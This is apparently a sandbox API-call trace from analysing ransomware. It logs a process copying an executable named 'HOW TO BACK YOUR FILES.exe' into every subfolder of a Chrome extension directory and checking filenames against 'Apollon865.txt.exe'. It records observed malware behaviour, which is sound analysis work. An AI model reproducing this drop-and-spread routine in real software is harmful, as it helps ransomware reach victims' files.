	[0049.751] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.762] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35baf4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35baf4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.762] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.762] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.763] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata"
	[0049.763] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata"
	[0049.763] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.763] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.769] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.769] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35bd5630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35bd5630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.769] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.769] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.769] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales"
	[0049.769] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales"
	[0049.769] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.770] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.777] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.777] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35bd5630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35bd5630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.777] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.777] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.778] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW"
	[0049.778] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW"
	[0049.778] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.778] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.782] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.782] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35bd5630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35bd5630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.782] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.782] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.782] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN"
	[0049.782] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN"
	[0049.782] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.782] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.786] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.786] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35bfb790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35bfb790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.787] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.787] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.787] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi"
	[0049.787] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi"
	[0049.787] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.787] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.791] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35bfb790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35bfb790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.791] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.791] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.791] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk"
	[0049.791] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk"
	[0049.791] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.791] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.796] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.796] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35bfb790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35bfb790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.796] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.796] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.796] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr"
	[0049.796] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr"
	[0049.796] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.796] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.800] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.800] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35bfb790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35bfb790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.800] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.801] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.801] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th"
	[0049.801] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th"
	[0049.801] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.801] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.805] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35c218f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35c218f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.806] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.806] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.806] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv"
	[0049.806] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv"
	[0049.806] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
